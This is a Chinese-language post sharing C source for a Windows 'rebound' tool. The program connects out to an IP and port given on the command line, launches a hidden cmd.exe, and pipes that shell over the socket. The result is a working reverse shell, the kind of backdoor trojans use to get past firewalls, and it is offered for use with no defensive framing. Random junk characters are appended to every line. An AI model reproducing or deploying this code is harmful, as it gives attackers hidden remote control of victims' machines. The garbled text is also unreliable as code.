这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x\T 9V~8a
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/* ============================== h\k@7wgu
Rebound port in Windows NT jvv3;lWDL.
By wind,2006/7 xEb+sE6Z
===============================*/ WBvh<wTw;
#include ~PAF2
#include t"4RGO)jh
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#pragma comment(lib,"wsock32.lib") LQ(z~M0B
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void OutputShell(); q$x$ 4
SOCKET sClient; <pyLWmO
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LX;w~fRr.
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void main(int argc,char **argv) cAnL,?_v
{ lV924mh
WSADATA stWsaData; >U.
int nRet; q% *-4GP
SOCKADDR_IN stSaiClient,stSaiServer; $De1 4
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if(argc != 3) J'{69<`Dl
{ JWQd/
printf("Useage:\n\rRebound DestIP DestPort\n"); 4
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return; B6 rz
} xgeDfpF'
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WSAStartup(MAKEWORD(2,2),&stWsaData); su:~Xd
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q5%$P\
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stSaiClient.sin_family = AF_INET; f0"N
stSaiClient.sin_port = htons(0); kHMD5Q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "MS}@NLUW
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )\K ;Ncp[
{ TgC8EcLr
printf("Bind Socket Failed!\n"); j<,Ho4v}_
return; Hg[g{A_G[
} V/N:Of:\R
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stSaiServer.sin_family = AF_INET; ^ &UezDTS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R k'5L
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KkD.n#A
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &>%R)?SZh
{ xvpCOoGsz
printf("Connect Error!"); $!Qv f
return; nf%"7 y{dd
} mHj3ItXUu
OutputShell(); %KjvV<f-a
} "K Or)QD/
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void OutputShell() nO;*Peob
{ PJ$C$G
char szBuff[1024]; Nd;)V
SECURITY_ATTRIBUTES stSecurityAttributes; heizO",8.&
OSVERSIONINFO stOsversionInfo; GF^)](xY+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?v5OUmFM
STARTUPINFO stStartupInfo; W~W`fm
char *szShell; EdC^L`::
PROCESS_INFORMATION stProcessInformation; ;~^9$Z@%Q
unsigned long lBytesRead; 5u:{lcC.X
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }piDg(D
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3QZ~t#,7ij
stSecurityAttributes.lpSecurityDescriptor = 0; wO-](3A-8P
stSecurityAttributes.bInheritHandle = TRUE; M"W~%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hRc.^"q9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ",O}{z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y%GIKtP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g!![%*'
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stStartupInfo.wShowWindow = SW_HIDE; I
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stStartupInfo.hStdInput = hReadPipe; Ho^rYz
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q@+#CUa&n
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GetVersionEx(&stOsversionInfo); 3;E,B7,mQ
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switch(stOsversionInfo.dwPlatformId) $qp,7RW
{ P;8D|u^\*
case 1: 8lJMD %Df:
szShell = "command.com"; aP`[O]8j
break; Jx-dWfe
default: "Vw;y+F}
szShell = "cmd.exe"; =X24C'!Mpe
break; $%GW~|S\C
} J;R1OJs S
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j~#nJI5]
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send(sClient,szMsg,77,0); I5$]{:L|9
while(1) >P_/a,O8
{ 2<X.kM?N{B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h,Nq:"}
if(lBytesRead) Up*.z\|'y
{ QVq+';cG
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); I}!ErV
send(sClient,szBuff,lBytesRead,0); id=:J7!QU
} o
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else fEgwQ-]
{ ~L55l2u7
lBytesRead=recv(sClient,szBuff,1024,0); .^ o3
if(lBytesRead<=0) break; ~MZEAY9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gOSFvH8FU
} !7fL'
} ='U>P(
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return; `(Eiu$h6V-
}